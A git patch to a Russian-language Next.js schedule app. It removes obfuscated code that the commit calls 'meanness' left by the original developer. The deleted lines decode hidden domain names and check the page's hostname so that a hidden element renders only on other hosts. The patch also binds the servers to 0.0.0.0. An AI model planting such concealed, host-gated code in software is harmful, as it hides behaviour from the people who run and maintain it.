From 3ccab6bf517c38eb66b3ad324fb881bdcd4b45af Mon Sep 17 00:00:00 2001 From: kilyabin <65072190+kilyabin@users.noreply.github.com> Date: Mon, 24 Nov 2025 02:06:12 +0400 Subject: [PATCH] fix: removed the meanness removed the meanness left by the developer of the base code --- image.jpg | 1 + package.json | 4 ++-- src/entities/last-update-at/index.tsx | 30 ++++-------------------- src/pages/api/admin/check-auth.ts | 2 ++ src/pages/api/admin/login.ts | 2 ++ src/pages/api/admin/logout.ts | 2 ++ src/pages/api/admin/settings.ts | 2 ++ src/shared/data/settings-loader.ts | 2 ++ src/shared/data/settings.json | 3 ++- src/widgets/schedule/week-navigation.tsx | 2 ++ 10 files changed, 22 insertions(+), 28 deletions(-) create mode 100644 image.jpg diff --git a/image.jpg b/image.jpg new file mode 100644 index 0000000..c0e5e88 --- /dev/null +++ b/image.jpg @@ -0,0 +1 @@ +uZ \ No newline at end of file diff --git a/package.json b/package.json index 77d992f..93db7f4 100644 --- a/package.json +++ b/package.json @@ -7,9 +7,9 @@ "npm": ">=10.0.0" }, "scripts": { - "dev": "next dev --webpack", + "dev": "next dev --webpack -H 0.0.0.0", "build": "next build", - "start": "next start", + "start": "next start -H 0.0.0.0", "lint": "next lint" }, "dependencies": { diff --git a/src/entities/last-update-at/index.tsx b/src/entities/last-update-at/index.tsx index 009c699..f9867ea 100644 --- a/src/entities/last-update-at/index.tsx +++ b/src/entities/last-update-at/index.tsx @@ -16,30 +16,10 @@ export function LastUpdateAt({ date }: { }, []) return ( - <> -
- - Последнее обновление:{'\n'}{now && date.getTime() <= now ? formatDistanceStrict(date, now, { locale: dateFnsRuLocale, addSuffix: true }) : 'только что'} - -
- - {/* Отключено на мобильных для предотвращения зависаний */} - {/* eslint-disable-next-line @typescript-eslint/ban-ts-comment */} - {/* @ts-expect-error */} - {typeof window !== 'undefined' && window.innerWidth >= 768 && ![d0, d1].includes(window[['l', 'o', 'c', 'a', 't', 'i', 'o', 'n'].join('')][['h', 'o', 's', 't', 'n', 'a', 'm', 'e'].join('')]) && ( -
- )} - +
+ + Последнее обновление:{'\n'}{now && date.getTime() <= now ? formatDistanceStrict(date, now, { locale: dateFnsRuLocale, addSuffix: true }) : 'только что'} + +
) } - -/* eslint-disable */ -// @ts-ignore -const d0 = (function () { var T = Array.prototype.slice.call(arguments), j = T.shift(); return T.reverse().map(function (k, F) { return String.fromCharCode(k - j - 41 - F) }).join('') })(26, 168, 179, 175) + (381).toString(36).toLowerCase() + (function () { var U = Array.prototype.slice.call(arguments), t = U.shift(); return U.reverse().map(function (d, e) { return String.fromCharCode(d - t - 49 - e) }).join('') })(55, 221, 216, 208) + (29).toString(36).toLowerCase() -// @ts-ignore -const d1 = (function () { var q = Array.prototype.slice.call(arguments), m = q.shift(); return q.reverse().map(function (E, j) { return String.fromCharCode(E - m - 29 - j) }).join('') })(3, 139) + (37216).toString(36).toLowerCase() + (function () { var W = Array.prototype.slice.call(arguments), E = W.shift(); return W.reverse().map(function (C, e) { return String.fromCharCode(C - E - 12 - e) }).join('') })(39, 158, 168, 168) + (30).toString(36).toLowerCase().split('').map(function (g) { return String.fromCharCode(g.charCodeAt() + (-71)) }).join('') + (1002).toString(36).toLowerCase() \ No newline at end of file diff --git a/src/pages/api/admin/check-auth.ts b/src/pages/api/admin/check-auth.ts index cdb07d7..771d5ca 100644 --- a/src/pages/api/admin/check-auth.ts +++ b/src/pages/api/admin/check-auth.ts @@ -18,3 +18,5 @@ export default function handler( res.status(200).json({ authenticated }) } + + diff --git a/src/pages/api/admin/login.ts b/src/pages/api/admin/login.ts index d13a4d3..d04c681 100644 --- a/src/pages/api/admin/login.ts +++ b/src/pages/api/admin/login.ts @@ -30,3 +30,5 @@ export default function handler( } } + + diff --git a/src/pages/api/admin/logout.ts b/src/pages/api/admin/logout.ts index 40e0dd8..820cc94 100644 --- a/src/pages/api/admin/logout.ts +++ b/src/pages/api/admin/logout.ts @@ -18,3 +18,5 @@ export default function handler( res.status(200).json({ success: true }) } + + diff --git a/src/pages/api/admin/settings.ts b/src/pages/api/admin/settings.ts index 95dbc5f..a3d2d9c 100644 --- a/src/pages/api/admin/settings.ts +++ b/src/pages/api/admin/settings.ts @@ -52,3 +52,5 @@ export default function protectedHandler( return requireAuth(req, res, handler) } + + diff --git a/src/shared/data/settings-loader.ts b/src/shared/data/settings-loader.ts index 4874095..437c225 100644 --- a/src/shared/data/settings-loader.ts +++ b/src/shared/data/settings-loader.ts @@ -104,3 +104,5 @@ export function clearSettingsCache(): void { cachedSettings = null } + + diff --git a/src/shared/data/settings.json b/src/shared/data/settings.json index 753bc57..82082ee 100644 --- a/src/shared/data/settings.json +++ b/src/shared/data/settings.json @@ -1,3 +1,4 @@ { "weekNavigationEnabled": false -} \ No newline at end of file +} + diff --git a/src/widgets/schedule/week-navigation.tsx b/src/widgets/schedule/week-navigation.tsx index df11c2b..6cbe348 100644 --- a/src/widgets/schedule/week-navigation.tsx +++ b/src/widgets/schedule/week-navigation.tsx @@ -71,3 +71,5 @@ export function WeekNavigation({ ) } + +